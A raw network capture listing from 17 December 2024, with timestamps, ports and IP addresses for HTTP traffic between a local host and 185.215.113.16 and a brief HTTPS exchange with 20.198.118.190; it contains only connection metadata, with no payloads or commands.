Dec 17, 2024 10:08:50.772506952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.772557020 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.773148060 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.773204088 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.773214102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.773252010 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.773287058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.773325920 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.773991108 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.774003029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.774013996 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.774044991 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.774065971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.774116993 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.774735928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.774796963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.774806976 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.774853945 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.774877071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.774928093 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.896358013 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.896398067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.896409988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.896450043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.896476984 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.896531105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.896549940 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.896630049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.896641016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.896651983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.896670103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.897152901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.897176027 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.897212982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.897224903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.897334099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.897351980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.898478031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.898552895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.898564100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.898658037 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.898677111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.898968935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.899034023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.899044991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.899066925 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.899096966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.899732113 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.899760962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.899832964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.899843931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.899897099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.899899006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.900389910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.900402069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.900409937 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.900413990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.900427103 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.900477886 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.900477886 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.901072979 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.901125908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.901139021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.901221037 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.901879072 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.901897907 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.901920080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.901933908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.902046919 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.902065039 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.902664900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.902707100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.902718067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.902813911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.902831078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.903403044 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.903646946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.903685093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.903697014 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.903808117 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.903814077 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.904238939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.904298067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.904308081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.904314995 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.904400110 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.905107975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.905124903 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.905157089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.905169010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.905256987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.905273914 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.905827045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.905877113 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.905886889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.905894041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.905976057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.906516075 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.906646013 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.906692982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.906703949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.906776905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.906794071 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.907146931 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.907465935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.907505989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.907516003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.907682896 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.907702923 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.908217907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.908286095 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.908297062 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.908303976 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.908404112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.909022093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.909040928 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.909190893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.911339045 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.959065914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.959104061 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.959116936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.959168911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.959197044 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.959261894 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.959340096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.959400892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.959414005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.959439993 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.959512949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.960158110 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.960175991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.960186958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.960205078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.960292101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.960311890 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.960917950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.960990906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.961003065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.961076975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.961097002 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.961695910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.961716890 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.961740971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.961752892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.961853981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:50.961873055 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:50.962048054 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.025248051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.025263071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.025281906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.025294065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.025333881 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.025346041 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.025367022 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.025470972 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.026065111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.026149035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.026161909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.026262999 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.026273012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.026284933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.026362896 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.026928902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.026978970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.026990891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.027060986 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.027060986 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.027065992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.027692080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.027738094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.027749062 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.027805090 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.027805090 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.027838945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.028692961 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.028734922 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.028738022 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.028747082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.028776884 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.028795004 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.029263973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.029313087 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.029325008 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.029335976 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.029354095 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.079119921 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.088303089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.088331938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.088344097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.088423967 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.088458061 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.088680983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.088692904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.088706017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.088717937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.088740110 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.089040041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.089457035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.089469910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.089482069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.089548111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.089570045 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.090199947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.090267897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.090280056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.090290070 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.090353012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.090452909 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.091022015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.091072083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.091083050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.091279030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.091304064 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.091597080 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.091772079 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.091861010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.091873884 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.091996908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.092005968 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.092715025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.092727900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.092740059 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.092757940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.092766047 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.092799902 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.092799902 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.093395948 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.093425989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.093436956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.093533039 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.093559027 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.094171047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.094230890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.094245911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.094265938 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.094362974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.094494104 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.094934940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.094958067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.094969034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.095055103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.095139027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.095223904 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.095793009 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.095848083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.095860004 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.095967054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.096153021 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.096636057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.096688986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.096719027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.096744061 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.096782923 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.096967936 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.097332001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.097381115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.097393990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.097456932 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.097486973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.097584009 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.098126888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.098217010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.098228931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.098361969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.098826885 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.098908901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.098962069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.098973989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.099062920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.099082947 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.099415064 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.099744081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.099788904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.099801064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.099875927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.100230932 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.100529909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.100598097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.105139971 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.109704971 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:51.109747887 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:51.109874010 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:51.113040924 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:51.113070011 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:51.150935888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.150985956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.150996923 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.151118994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.151326895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.151356936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.151367903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.151369095 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.151827097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.151851892 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.151892900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.151904106 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.151976109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.151999950 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.152646065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.152684927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.152698040 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.152784109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.152816057 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.153431892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.153470993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.153481007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.153601885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.154247999 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.154270887 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.154278994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.155277967 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.217448950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.217484951 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.217495918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.217506886 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.217778921 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.217818975 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.217833996 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.217849016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.218491077 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.218502998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.218513012 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.218514919 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.218529940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.219098091 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.219119072 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.219145060 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.219156981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.219191074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.219208956 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.219805956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.219851971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.219861984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.219938040 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.220729113 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.220750093 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.220814943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.220825911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.220896959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.220913887 CET	49774	80	192.168.2.6	185.215.113.16
